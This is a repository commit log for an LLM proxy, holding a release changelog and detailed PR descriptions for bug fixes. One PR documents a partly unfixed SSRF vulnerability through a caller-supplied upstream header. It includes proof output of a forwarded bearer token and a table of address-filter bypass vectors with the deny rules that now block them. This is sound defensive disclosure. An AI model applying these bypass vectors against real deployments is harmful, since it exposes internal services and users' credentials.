2668 Commits

Author SHA1 Message Date
JD Davis 91186b40d8 chore: release 0.36.4 (#3189)
CI / changes (push) Waiting to run
CI / lint (push) Blocked by required conditions
CI / build-wheel (push) Blocked by required conditions
CI / build-wheel-windows (push) Blocked by required conditions
CI / prefetch-model (push) Blocked by required conditions
CI / test (1) (push) Blocked by required conditions
CI / test (2) (push) Blocked by required conditions
CI / test (3) (push) Blocked by required conditions
CI / test (4) (push) Blocked by required conditions
CI / test-extras (push) Blocked by required conditions
CI / test-agno (push) Blocked by required conditions
CI / test-dashboard-ui (push) Blocked by required conditions
CI / commitlint (push) Waiting to run
CI / build (push) Blocked by required conditions
CI / workflow-validation (push) Blocked by required conditions
CI / docker-native-e2e (push) Blocked by required conditions
CI / windows-native-wrapper (push) Blocked by required conditions
CI / macos-native-wrapper (push) Blocked by required conditions
Dev Containers / validate (.devcontainer/devcontainer.json, default) (push) Waiting to run
Dev Containers / validate (.devcontainer/memory-stack/devcontainer.json, memory-stack) (push) Waiting to run
Dev Containers / validate-worktree (push) Waiting to run
Docker / docker-build (map[name:amd64 platform:linux/amd64 runs_on:ubuntu-24.04], map[bake_target:runtime name:]) (push) Waiting to run
Docker / docker-build (map[name:amd64 platform:linux/amd64 runs_on:ubuntu-24.04], map[bake_target:runtime-code name:code]) (push) Waiting to run
Docker / docker-build (map[name:amd64 platform:linux/amd64 runs_on:ubuntu-24.04], map[bake_target:runtime-code-nonroot name:code-nonroot]) (push) Waiting to run
Docker / docker-build (map[name:amd64 platform:linux/amd64 runs_on:ubuntu-24.04], map[bake_target:runtime-code-slim name:code-slim]) (push) Waiting to run
Docker / docker-build (map[name:amd64 platform:linux/amd64 runs_on:ubuntu-24.04], map[bake_target:runtime-code-slim-nonroot name:code-slim-nonroot]) (push) Waiting to run
Docker / docker-build (map[name:amd64 platform:linux/amd64 runs_on:ubuntu-24.04], map[bake_target:runtime-nonroot name:nonroot]) (push) Waiting to run
Docker / docker-build (map[name:amd64 platform:linux/amd64 runs_on:ubuntu-24.04], map[bake_target:runtime-slim name:slim]) (push) Waiting to run
Docker / docker-build (map[name:amd64 platform:linux/amd64 runs_on:ubuntu-24.04], map[bake_target:runtime-slim-nonroot name:slim-nonroot]) (push) Waiting to run
Docker / docker-build (map[name:arm64 platform:linux/arm64 runs_on:ubuntu-24.04-arm], map[bake_target:runtime name:]) (push) Waiting to run
Docker / docker-build (map[name:arm64 platform:linux/arm64 runs_on:ubuntu-24.04-arm], map[bake_target:runtime-code name:code]) (push) Waiting to run
Docker / docker-build (map[name:arm64 platform:linux/arm64 runs_on:ubuntu-24.04-arm], map[bake_target:runtime-code-nonroot name:code-nonroot]) (push) Waiting to run
Docker / docker-build (map[name:arm64 platform:linux/arm64 runs_on:ubuntu-24.04-arm], map[bake_target:runtime-code-slim name:code-slim]) (push) Waiting to run
Docker / docker-build (map[name:arm64 platform:linux/arm64 runs_on:ubuntu-24.04-arm], map[bake_target:runtime-code-slim-nonroot name:code-slim-nonroot]) (push) Waiting to run
Docker / docker-build (map[name:arm64 platform:linux/arm64 runs_on:ubuntu-24.04-arm], map[bake_target:runtime-nonroot name:nonroot]) (push) Waiting to run
Docker / docker-build (map[name:arm64 platform:linux/arm64 runs_on:ubuntu-24.04-arm], map[bake_target:runtime-slim name:slim]) (push) Waiting to run
Docker / docker-build (map[name:arm64 platform:linux/arm64 runs_on:ubuntu-24.04-arm], map[bake_target:runtime-slim-nonroot name:slim-nonroot]) (push) Waiting to run
Docker / docker-manifest (map[bake_target:runtime-code-nonroot name:code-nonroot]) (push) Blocked by required conditions
Docker / docker-manifest (map[bake_target:runtime-code-slim name:code-slim]) (push) Blocked by required conditions
Docker / docker-manifest (map[bake_target:runtime-code-slim-nonroot name:code-slim-nonroot]) (push) Blocked by required conditions
Docker / docker-manifest (map[bake_target:runtime-nonroot name:nonroot]) (push) Blocked by required conditions
Docker / docker-manifest (map[bake_target:runtime-slim name:slim]) (push) Blocked by required conditions
Docker / docker-manifest (map[bake_target:runtime-slim-nonroot name:slim-nonroot]) (push) Blocked by required conditions
Docker / docker-manifest (map[bake_target:runtime name:]) (push) Blocked by required conditions
Docker / docker-manifest (map[bake_target:runtime-code name:code]) (push) Blocked by required conditions
Init E2E / docker-init-e2e (push) Waiting to run
Init Native E2E / init-native (macos-latest, claude) (push) Waiting to run
Init Native E2E / init-native (macos-latest, codex) (push) Waiting to run
Init Native E2E / init-native (macos-latest, copilot) (push) Waiting to run
Init Native E2E / init-native (ubuntu-latest, claude) (push) Waiting to run
Init Native E2E / init-native (ubuntu-latest, codex) (push) Waiting to run
Init Native E2E / init-native (ubuntu-latest, copilot) (push) Waiting to run
Install Native E2E / install-native (macos-latest) (push) Waiting to run
Install Native E2E / install-native (ubuntu-latest) (push) Waiting to run
Merge Conflicts / merge-conflicts (push) Waiting to run
OpenCode Plugin / typecheck + build + test (push) Waiting to run
Release Please / release-please (push) Waiting to run
rust / rust-changes (push) Waiting to run
rust / test (ubuntu) (push) Blocked by required conditions
rust / simulator e2e (macos-latest) (push) Blocked by required conditions
rust / simulator e2e (ubuntu-latest) (push) Blocked by required conditions
rust / simulator e2e (windows-latest) (push) Blocked by required conditions
rust / wheels (aarch64-apple-darwin) (push) Blocked by required conditions
rust / wheels (x86_64-unknown-linux-gnu) (push) Blocked by required conditions
rust / wheels (x86_64-apple-darwin) (push) Blocked by required conditions
rust / audit (push) Blocked by required conditions
rust / parity (push) Blocked by required conditions
Security / Dependency audit (pip-audit) (push) Waiting to run
Security / CodeQL (javascript-typescript) (push) Waiting to run
Security / CodeQL (python) (push) Waiting to run
Security / Secret scan (gitleaks) (push) Waiting to run
Wrap E2E / docker-wrap-e2e (push) Waiting to run
Wrap Native E2E / wrap-native (macos-latest) (push) Waiting to run
Wrap Native E2E / wrap-native (ubuntu-latest) (push) Waiting to run
🤖 I have created a release *beep* *boop*
---


##
[0.36.4](https://github.com/headroomlabs-ai/headroom/compare/v0.36.3...v0.36.4)
(2026-08-22)


### Bug Fixes

* **dashboard:** pin MIME types for the vendored static assets
([#3193](https://github.com/headroomlabs-ai/headroom/issues/3193))
([b485768](https://github.com/headroomlabs-ai/headroom/commit/b4857685ffca656f8f4f17111b88e80637511f52))
* **proxy/responses:** keep the Codex additional_tools carrier on the
wire ([#3194](https://github.com/headroomlabs-ai/headroom/issues/3194))
([1617f83](https://github.com/headroomlabs-ai/headroom/commit/1617f839a197ed1f17ca2083fbd288ffa2af7820))
* **security:** validate caller-supplied upstreams on every resolution
path ([#3195](https://github.com/headroomlabs-ai/headroom/issues/3195))
([3e3c409](https://github.com/headroomlabs-ai/headroom/commit/3e3c409436792129259cfae3d95179a94321f9ce))
* skip cross-turn dedup pointers on OpenAI chat streaming
([#3191](https://github.com/headroomlabs-ai/headroom/issues/3191))
([9c30b62](https://github.com/headroomlabs-ai/headroom/commit/9c30b629624a42495d82f79fb7df9f21cdac7865))
* **wrap:** make the Serena pre-index stall budget configurable
([#3183](https://github.com/headroomlabs-ai/headroom/issues/3183))
([202c189](https://github.com/headroomlabs-ai/headroom/commit/202c1895e1c2617121f3513054e4a1306d9c573f))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
v0.36.4
2026-08-21 23:29:15 -07:00
Tejas Chopra 5d25abd356 test: repair three suite failures that are red on main (#3196)
## Summary

Three tests fail on a clean `main` full-suite run. None is a product
defect — all three are tests that stopped describing reality, and they
will noise up or block the 0.36.4 release.

| Test | Why it fails | Fix |
|---|---|---|
| `test_release_workflows::test_no_native_tls_in_wheel_build_tree` |
Shells out to `cargo`; raises `FileNotFoundError` wherever the Rust
toolchain is absent | Copied the skip guards its own dual already had |
|
`test_learn/test_integration::TestCodexIntegration::test_full_pipeline`
| Asserts `"Bash" in all_tools` against **real local Codex data**; Codex
renamed its shell tool | Assert what the test is for, across Codex
versions |
|
`test_graceful_shutdown::test_run_server_installs_cancelled_error_filter`
| Counts installs on the **process-global** `uvicorn.error` logger;
order-dependent | Isolate the global state; assert the real contract |

## 1. native-tls / cargo

The `openssl-sys` gate 30 lines above is described in-code as this
test's dual. It already skips when `cargo` is missing, **and** when
cargo fails for a reason other than `"package did not match"` (the Linux
wheel target not being installed locally). The native-tls test never
copied either guard.

Not disabled: CI installs the toolchain via `dtolnay/rust-toolchain`, so
the check still executes there. The skip only applies where cargo is
genuinely absent.

## 2. Codex tool vocabulary

This test runs against whatever Codex sessions the machine actually has
(gated by `HAS_CODEX_DATA`), and asserted:

```python
# Codex has only Bash tool (shell)
assert "Bash" in all_tools
```

Codex has since renamed its shell tool (`Bash` → `shell` → `exec`), and
0.149.0 added agent tools (`spawn_agent`, `send_message`, `wait`) beside
it. The assertion pinned one release's vocabulary, so it fails on any
current install.

It now asserts what the pipeline is actually being tested for — that
tool calls were extracted, including a shell-execution tool under any of
its known names — and names the remedy in the failure message for the
next rename.

**Still discriminating** (verified, not assumed):

| Scenario | Result |
|---|---|
| pipeline parsed nothing | fails ✓ |
| tool names garbled | fails ✓ |
| agent tools only, no shell tool | fails ✓ |
| real current Codex data | passes ✓ |

## 3. Global logger state

```python
if not any(isinstance(item, _SuppressCancelledErrorFilter) for item in uvicorn_error_logger.filters):
    uvicorn_error_logger.addFilter(_SuppressCancelledErrorFilter())
```

`run_server` is deliberately idempotent and `uvicorn.error` is a
process-global logger, so any earlier test in the session that reached
`run_server` leaves the filter attached — and this test then observes
**zero** installs against its `== 1` assertion. It passes alone and
fails in a full run, which is exactly the symptom.

The test now clears and restores that global state around itself, and
additionally asserts the idempotence guard that is the real contract:
calling `run_server` twice must not stack a duplicate filter. The test
got stronger, not just quieter.

## Scope

Tests only — no product code is touched.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-21 23:18:40 -07:00
Tejas Chopra 3e3c409436 fix(security): validate caller-supplied upstreams on every resolution path (#3195)
## Summary

CVE-2026-77775 (SSRF via `x-headroom-base-url`) is **not fully fixed on
current `main`**. The advisory lists 0.36.1 as the last affected
version; one route still forwards to any destination a caller names.

`upstream_guard.is_safe_upstream_url` was added and wired into
`/v1/messages` and the catch-all passthrough. But
`select_passthrough_base_url` moved from `providers/proxy_routes.py` to
`providers/proxy_targets.py`, and the guard did not follow it. Its Azure
branch returns the header verbatim whenever an `api-key` header is
present — **both values are caller-supplied** — and `POST
/v1/alpha/search` resolves its upstream through that helper without
checking the header itself.

## Verified, not inferred

Against the current tree, with a listener on loopback standing in for an
internal service:

```
proxy status                : 200
internal service hit        : 1 time(s)
Authorization it received   : 'Bearer SECRET-CLIENT-TOKEN'
internal body relayed back  : True
```

The caller's credentials are forwarded to the attacker-named host and
the internal response is relayed back. After this change: `400`, zero
hits, nothing relayed.

A sweep of all 99 routes isolates exactly one leak on unfixed code —
`POST /v1/alpha/search` with `api-key` — and zero after.

## 1. The missing enforcement

**Guarded at the chokepoint, not just the route.**
`select_passthrough_base_url` now validates before returning, in
`proxy_targets.py` and in the parallel copy in `providers/registry.py`,
so a future caller that forgets the header check cannot reopen this.
`/v1/alpha/search` also rejects explicitly with 400, matching its
sibling routes.

## 2. A second gap in the address policy

RFC 6598 shared address space (`100.64.0.0/10`) is not `is_private`, so
it passed the guard — while routing to ISP and cloud-internal
infrastructure. `_is_internal_address` now also rejects anything not
globally routable.

Verified over a 27-vector battery — 0 bypasses, public control
unaffected:

| Vector | Before | After |
|---|---|---|
| `100.64.0.0/10` shared address space | **allowed** | blocked |
| `198.18/15`, TEST-NET, `240/4` | **allowed** | blocked |
| 6to4 / Teredo embedding internal IPv4 | **allowed** | blocked |
| NAT64 `64:ff9b::/96` embedding loopback | **allowed** | blocked |
| loopback, RFC1918, link-local, metadata, IPv4-mapped, userinfo tricks
| blocked | blocked |
| multicast `224.0.0.1` | blocked | blocked |
| public `8.8.8.8` | allowed | allowed |

The category checks are **kept alongside** `is_global` rather than
replaced — `is_global` is `True` for multicast, so a replacement would
have regressed. NAT64 also reports as global, so its embedded IPv4 is
extracted and judged on its own.

## 3. Unauthenticated stall via the resolver

`socket.getaddrinfo` takes no timeout and runs on the calling thread —
the event loop. Since the hostname is caller-supplied, a deliberately
slow-resolving name stalled every other in-flight request; a handful of
concurrent requests made the proxy unresponsive, unauthenticated.

Resolution now runs in a small dedicated pool with a budget
(`HEADROOM_UPSTREAM_RESOLVE_TIMEOUT_S`, default 3s) and fails closed on
overrun, which bounds every caller including the synchronous chokepoint.
`is_safe_upstream_url_async` runs the lookup off the loop, and the three
route handlers that validate a caller-supplied upstream now await it.

Caching was deliberately avoided: a TTL cache in front of a security
decision invites poisoning, and would widen the rebinding window rather
than narrow it.

## Why this survived

The existing tests unit-tested the guard's *logic* but never asserted it
was *reached*. Added enforcement tests at the sinks plus a **sweep over
the whole route table** that fails if any route forwards to a loopback
address — so the next unguarded upstream resolution fails in CI rather
than in a CVE.

All new tests were confirmed failing against the unfixed tree and
passing after.

## Known residual — deliberately not addressed

**DNS rebinding.** Validation and connection resolve the host
separately, so a low-TTL answer can differ between them. Closing this
needs connection-time pinning in the shared `http_client` transport,
which carries every request in the proxy — too broad to fold into this
patch. It should not be described as fixed.

## Compatibility

An endpoint that does not resolve publicly (split-horizon, on-prem) is
now rejected where it previously passed unvalidated.
`HEADROOM_ALLOWED_BASE_URLS` is the documented opt-in, covered by test.
Three existing tests used fictional hostnames and legitimately began
failing; DNS is pinned in them so they keep testing target precedence
rather than depending on the missing guard.

Separately: `docker-compose.yml` has already been hardened since the
advisory — `HEADROOM_PROXY_TOKEN` is now mandatory and ports are
loopback-only — so the "exposed by default" multiplier the advisory
cites no longer applies to the shipped compose.

Full suite: the 3 failures outside this area
(`test_learn/test_integration`,
`test_release_workflows::test_no_native_tls_in_wheel_build_tree`, and a
`test_graceful_shutdown` ordering flake) reproduce on clean `main` and
are unrelated.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

---------

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-21 23:16:59 -07:00
Tejas Chopra 1617f839a1 fix(proxy/responses): keep the Codex additional_tools carrier on the wire (#3194)
## Description

0.36.3 regressed Codex tool access. A user reproduced it cleanly: Codex
CLI 0.149.0 + Codex TUI/app-server, terminal tools available at first
(`pwd` executes), then **all shell/filesystem access disappears for the
rest of the session**. The same setup on 0.36.2 works.

The only functional change in 0.36.3 was #3186.

## Root cause

#3186 lifted `additional_tools` definitions into top-level `tools` so
the tools consumers (schema compaction, output shaper, token accounting)
would engage, and dropped the carrier item. That changed the
definitions' **lifetime**, not just their location:

- `tools` is a **per-request parameter**, scoped to one response.
- `additional_tools` is an **`input` item** — part of the conversation
transcript.

A stateful session declares its tools once. Codex over WebSocket sends
the carrier on turn one and relies on the transcript afterwards.
Forwarding the lifted shape leaves that transcript tool-less, so turn
one works and every turn after it has no tool surface at all.

Stateless HTTP hid this in review — it re-sends the carrier on every
request, so the lift refires each turn and nothing is ever lost. That is
why the original manual verification passed.

## Fix

The lift stays; the savings fix it shipped for is real. It is now
**symmetric**:

- `_lift_codex_additional_tools` records where each carrier came from
(`restore_plan`).
- `_restore_codex_additional_tools` puts the post-compaction definitions
back into that carrier before the payload is forwarded.

Consumers still see a classic top-level array. The client still sees the
shape it sent. Compaction's savings survive the round trip, because it
is the *compacted* schemas that go back into the carrier.

Restoration is conservative:

| Situation | Behaviour |
|---|---|
| Compaction preserved the definition count | original per-carrier split
rebuilt exactly |
| A consumer rewrote the array (deferral, injection) | whole set rides
the first carrier |
| Array came back empty | definitions Codex sent are restored, never a
tool-less forward |
| Carrier cannot be put back at all | logged, never a silent
lifted-shape forward |
| Called twice | idempotent, no duplication |

Wired into `_compress_openai_responses_payload_in_executor`, so all five
call sites — HTTP, both WebSocket sites, and passthrough — are covered
by construction. `HEADROOM_CODEX_ADDITIONAL_TOOLS_LIFT=0` still disables
the lift entirely and remains the immediate unblock for anyone on 0.36.3
right now.

## Testing

The gap in #3186 was that all nine of its tests were single-turn. These
are not.

- **Multi-turn regression test** — a turn-one payload is driven through
the real compression entry point, and turn two is built from what was
actually forwarded. On shipped `main` that turn-two transcript carries
**zero** tool definitions; with this change it carries both.
- **Exhaustive round trip** — 363 arrangements of messages, carriers,
empty carriers, adjacent/leading/trailing carriers. Zero mismatches.
This is what pins the insert-offset arithmetic.
- Round-trip shape preservation, carrier position, multiple carriers,
count-change fallback, emptied-array recovery, extra carrier keys,
idempotence, the unrestorable-warning path, the kill switch, and
untouched classic-encoding clients are each asserted.

22 tests in the file; 112 across the related suites (proxy, codex
routing, passthrough, compaction); full suite 3740 passed / 156 skipped.
`ruff check` and `ruff format` clean.

Before/after against shipped `main`, same scenario:

| | 0.36.3 (`main`) | this PR |
|---|---|---|
| forwarded top-level `tools` | present | absent |
| carrier surviving in `input` | **0** | 1 |
| tools visible to turn 2 | **none — tool loss** | `shell`,
`update_plan` |

## Validation gap — please read

This proves the **forwarded shape now matches what the client sent**,
which is the invariant that matters regardless of the exact upstream
mechanism. What is *not* directly observed here is the
transcript-persistence mechanism itself — that is inferred from
Responses API semantics, because there is no Codex 0.149.0 stateful
WebSocket backend in CI.

That is the same gap that let #3186 ship broken, so it should not be
waved through twice. The reporter has a reliable reproduction and should
confirm this build before it tags.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-21 22:54:03 -07:00
Ayush Kumar Jha b4857685ff fix(dashboard): pin MIME types for the vendored static assets (#3193)
## Description

The dashboard's vendored scripts can be served as `text/plain`, and the
proxy's own
`X-Content-Type-Options: nosniff` then stops the browser executing them
— the dashboard
loads unstyled and dataless.

`StaticFiles` types every response from `mimetypes.guess_type`, and
Python seeds that
database from the host: the Windows registry (`HKCR\<ext>\Content Type`)
and, elsewhere,
files like `/etc/mime.types`. headroom never calls `mimetypes.add_type`
anywhere, so it
inherits whatever the host says. On a host that maps `.js` to
`text/plain` — a stale
registry entry, or a minimal container image with no mime database at
all — the three
vendored assets go out as plain text.

Neither half is wrong on its own. `nosniff` at `_apply_security_headers`
is correct and
should stay; the mislabel is the bug. Together they break the dashboard
completely.

Closes #3179

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)

## Changes Made

- Added `register_static_mime_types()` and the `_STATIC_MIME_TYPES`
table to `headroom/dashboard/__init__.py`, next to the `STATIC_DIR` it
describes.
- `create_app` calls it immediately before mounting `/dashboard/static`,
so the served type no longer depends on the host mime database.
- Registered `.js`/`.mjs` as `text/javascript`, `.css` as `text/css`,
and `.json`/`.map` as `application/json`.
- Added `tests/test_dashboard_static_mime_types.py` (11 tests) covering
a deliberately broken host database, each registered extension,
idempotency, and a guard that fails if a future vendored asset arrives
with an unregistered extension.

### Design notes

`mimetypes.add_type` is strict by default, so these registrations
replace a bad host
entry rather than losing to it. They are the current IANA/WHATWG values,
so this only
ever repairs a host database — it never invents a mapping.

Registration runs from `create_app` rather than at module import.
Mutating the
process-wide table is right for the proxy that serves these files, but
it should not be
a side effect of `import headroom` for someone using the library.

Two deliberate departures from the fix sketched in the issue:
`text/javascript` rather
than `application/javascript` (the current registration, and what Python
3.12+ returns
natively, so the fix converges with the stdlib instead of diverging from
it — both
execute in every browser), and `.map` as `application/json` rather than
`application/javascript`, since a source map is a JSON document.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [x] Manual testing performed

### Test Output

```text
$ python -m pytest tests/test_dashboard_static_mime_types.py -q
11 passed, 1 warning in 0.94s

# against the unpatched tree the same file cannot even import:
ERROR tests/test_dashboard_static_mime_types.py
ImportError: cannot import name 'register_static_mime_types' from 'headroom.dashboard'

$ python -m pytest tests/*dashboard* -q --continue-on-collection-errors
2 failed, 18 passed, 5 skipped, 2 errors in 11.75s
# baseline on the same tree with the fix stashed:
2 failed,  7 passed, 5 skipped, 2 errors in  6.98s
# identical failures/errors either way (they need the Rust _core extension, which is
# not built on this machine); the fix adds the 11 passing tests and breaks nothing.

$ python -m ruff check headroom/dashboard/__init__.py headroom/proxy/server.py tests/test_dashboard_static_mime_types.py
All checks passed!
$ python -m ruff format --check ...
3 files already formatted
$ python -m mypy headroom/dashboard/__init__.py headroom/proxy/server.py
Success: no issues found in 2 source files
```

## Real Behavior Proof

- Environment: Windows 11 Home 26200, Python 3.11.9, clone of
`upstream/main` at `202c189`. This machine's registry happens to have no
`.js` Content Type value, so the reporter's broken host was reproduced
by `mimetypes.add_type("text/plain", ".js")` — precisely the state
Python's `mimetypes` loads from a registry that does have it.
- Exact command / steps: mounted the real `headroom/dashboard/static`
directory through Starlette `StaticFiles` exactly as `create_app`
constructs it, then fetched all three assets over `TestClient` twice in
one process — first with no registration (today's behaviour), then after
calling `register_static_mime_types()` (the new behaviour).
- Observed result: before the fix all three assets are served
`text/plain; charset=utf-8`, which is what `nosniff` blocks and what the
reporter's console errors show; after the fix all three are
`text/javascript; charset=utf-8`. 3/3 blocked before, 3/3 executable
after. Full output below.
- Not tested: a real browser against a real Windows host carrying the
bad registry entry; and the `create_app` wiring itself, because the
proxy module will not import on this machine (the Rust `_core` extension
is unbuilt and there is no toolchain here) — that one line is covered by
CI rather than locally.

```text
using package: ...\headroom\headroom\dashboard\__init__.py

host mimetypes: .js -> text/plain

BEFORE (create_app does not register anything):
  alpine.min.js        200  text/plain; charset=utf-8
  htmx.min.js          200  text/plain; charset=utf-8
  tailwind.min.js      200  text/plain; charset=utf-8

after register_static_mime_types(): .js -> text/javascript

AFTER (create_app calls register_static_mime_types before mounting):
  alpine.min.js        200  text/javascript; charset=utf-8
  htmx.min.js          200  text/javascript; charset=utf-8
  tailwind.min.js      200  text/javascript; charset=utf-8

blocked before: 3/3   executable after: 3/3
```

## Runtime Rollout Safety

- Rollout-managed feature(s): none — an unconditional correctness fix,
not a rollout-channel feature.
- Minimum rollout channel: n/a — applies on every channel.
- Stable/default behavior changed: yes, deliberately — dashboard assets
are now served with a correct `Content-Type` on hosts whose mime
database was wrong. On a host that was already correct, the served
headers are unchanged.
- Kill switch / disable path: none needed; behaviour is inert where the
host database is already right. Reverting the commit restores the
previous behaviour.
- Unsafe override required: no.
- Qualification impact: none — no effect on compression, proxying, or
provider behavior. Only the `/dashboard/static` mount is touched.
- Rollback path: revert the commit; no persisted state, no migration, no
config.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective or that my
feature works
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md` — it is generated by
release-please from my Conventional Commit PR title (a CI guard enforces
this)

## Additional Notes

**Alternatives considered.** Subclassing `StaticFiles` to force a
`Content-Type` per
extension avoids touching the global table at all and would be scoped to
the dashboard
mount, but it means overriding Starlette internals for no gain in
correctness. Relaxing
`nosniff` on the static mount would also make the dashboard work, but it
trades a
security header away to paper over a labelling bug. Serving each asset
from an explicit
route with a hardcoded `media_type` works too, but replaces
`StaticFiles` wholesale.

**Scope.** Only `.js` is served from `STATIC_DIR` today; `.mjs`, `.css`,
`.json` and
`.map` are registered because they would fail in exactly the same way
the moment one is
vendored. `test_every_vendored_asset_extension_is_registered` fails if
an asset appears
with an extension the table does not cover, so the list cannot silently
fall behind.
Happy to trim it to `.js` alone if you would rather keep the surface
minimal.
2026-08-21 22:28:26 -07:00
Raúl 9c30b62962 fix: skip cross-turn dedup pointers on OpenAI chat streaming (#3191)
## Description

Cross-turn dedup (`HEADROOM_DEDUPE` / `enable_cross_turn_dedup`, plus
the cold-prefix recompaction router) folds a repeated tool-output span
into a one-line in-context pointer, `[↑NL same as msg M: 'anchor']`.
That pointer is only recoverable where the model can resolve the
reference. On the OpenAI chat-completions STREAMING path (what `headroom
wrap copilot` serves) it cannot, for two independent reasons:

1. The proxy itself logs `CCR: skipping retrieval-tool injection for
OpenAI chat streaming; this path cannot intercept tool calls`, so no
`headroom_retrieve` tool exists on this path and nothing can
mechanically resolve a fold.
2. The pointer names its source as `msg M`, Headroom's internal message
index. OpenAI-compatible chat clients never show the model numbered
messages, so the reference is unresolvable even though the original
bytes are technically still earlier in the same request.

Observed with Kimi k2.7-code / k3 via `wrap copilot`: the model treats
the pointer as deleted output, reports "the renderer is
deduplicating/compressing", and retry-loops near-identical reads (one
session burned ~200 turns; a folded conflicted-files listing hid 4 of 5
conflicted files and the agent committed unresolved `<<<<<<<` markers).

The router already keeps unrecoverable LOSSY output verbatim
(`lossy_unrecoverable_skipped`). Dedup folds are lossless in theory but
unrecoverable in practice on this path; this PR gives them the same
recoverability gate.

Closes #3190

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)

## Changes Made

- `headroom/transforms/content_router.py`: `ContentRouter.apply()`
accepts a per-request `cross_turn_dedup_recoverable` kwarg (default
`True`, so every existing caller is byte-identical). When `False`, the
cross-turn dedup pass is skipped and repeated spans stay verbatim,
mirroring the recoverability posture of the lossy
`lossy_unrecoverable_skipped` guard. Config comment on
`enable_cross_turn_dedup` documents the gate.
- `headroom/proxy/handlers/openai.py`: `handle_openai_chat` computes the
gate from the same predicate that already gates CCR retrieval-tool
injection, `_should_inject_openai_chat_ccr_tool(ccr_inject_tool,
stream)`, and threads it into both `openai_pipeline.apply(...)` call
sites (token-mode and non-token-mode branches). Streaming chat requests
skip the fold; buffered (non-streaming) chat, which can inject and
redeem the retrieval tool, keeps folding.
- `headroom/transforms/cold_prefix.py`: `cold_recompact_messages` no
longer hardcodes pointer emission; new keyword-only
`cross_turn_dedup_recoverable: bool = True` is forwarded to the router
gate. The only caller (Anthropic cache-mode cold turn) keeps the default
and is unchanged.
- `tests/test_cross_turn_dedup.py`: router-gate regression tests
(unrecoverable path keeps verbatim bytes for both the OpenAI `role:tool`
string shape and the Anthropic `tool_result` block shape;
default/explicit-`True` still folds).
- `tests/test_cold_prefix.py` (new): recompaction folds by default
(Anthropic path unchanged) and keeps verbatim bytes with
`cross_turn_dedup_recoverable=False`.
- `tests/test_openai_chat_dedup_recoverability.py` (new): end-to-end
through the real `/v1/chat/completions` handler with
`HEADROOM_DEDUPE=1`, capturing the exact upstream request body:
`stream=True` keeps both copies byte-verbatim with no `[↑` pointer;
`stream=False` still folds; `stream=False` under `--lossless` (which
forces `ccr_inject_tool=False`) also keeps verbatim bytes, locking the
intended coupling of "no retrieval tool" to "no bare pointer".

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [x] Manual testing performed

### Test Output

```text
# BEFORE (branch base, fix reverted): the streaming regression test fails,
# the upstream body carries the unresolvable pointer and drops the bytes.
$ git stash push headroom/ && uv run pytest -q \
    tests/test_openai_chat_dedup_recoverability.py::test_streaming_chat_keeps_verbatim_bytes_no_dedup_pointer
E   assert '[↑' not in "fix the ove...t merge.py']"
E     '[↑' is contained here:
E       [↑14L same as msg 2: '$ cat merge.py']
FAILED tests/test_openai_chat_dedup_recoverability.py::test_streaming_chat_keeps_verbatim_bytes_no_dedup_pointer
(same run: test_cold_recompact_unrecoverable_path_keeps_verbatim_bytes also fails pre-fix;
both recoverable-path legs pass before and after)

# AFTER (full diff applied):
$ uv run pytest tests/test_cross_turn_dedup.py tests/test_cold_prefix.py \
    tests/test_openai_chat_dedup_recoverability.py \
    tests/test_proxy/test_openai_chat_ccr_injection.py tests/test_no_ccr_lossy.py \
    tests/test_openai_chat_turn_hooks.py tests/test_openai_chat_tool_desc_compaction.py \
    tests/test_responses_cross_turn_dedup.py -q
45 passed, 2 warnings in 8.75s

$ uv run pytest tests/test_proxy/ tests/test_openai_codex_routing.py \
    tests/test_openai_chat_turn_hooks.py tests/test_openai_chat_tool_desc_compaction.py \
    tests/test_openai_beta_session_sticky.py tests/test_openai_max_completion_tokens.py \
    tests/test_no_ccr_lossy.py tests/test_netcost_gate.py tests/test_agent_savings.py \
    tests/test_cross_turn_dedup.py tests/test_cold_prefix.py \
    tests/test_openai_chat_dedup_recoverability.py -q
424 passed, 2 warnings in 73.52s

$ uv run ruff format --check <touched files> && uv run ruff check <touched files>
All checks passed!
$ uv run mypy headroom/transforms/cold_prefix.py headroom/transforms/content_router.py headroom/proxy/handlers/openai.py
Success: no issues found in 3 source files

$ cargo fmt --all -- --check   # FMT_OK
$ cargo clippy --all-targets   # 2 pre-existing warnings in untouched lib-test code, no errors
$ cargo test                   # all targets green; see Additional Notes for the one environmental exception
```

## Real Behavior Proof

- Environment: macOS (Darwin), Python 3.13, repo tip `upstream/main`
5e0ce242 (v0.36.2). No secrets, no external network: the proof drives
the real proxy handler in-process via FastAPI `TestClient` with the
upstream send stubbed, capturing the exact request body the provider
would receive.
- Exact command / steps (copy-pasteable, self-contained): next lines

  ```sh
# 1. The bug, on the branch base (pointer emitted on the streaming
path):
  git stash push headroom/   # or check out upstream/main
uv run pytest -q tests/test_openai_chat_dedup_recoverability.py #
streaming leg FAILS
  git stash pop

  # 2. The fix:
uv run pytest -q tests/test_openai_chat_dedup_recoverability.py # both
legs pass
  ```

The test posts a chat-completions request whose history contains two
identical multi-line tool outputs (the shape that folds), with
`HEADROOM_DEDUPE=1`, and asserts on the captured upstream body:
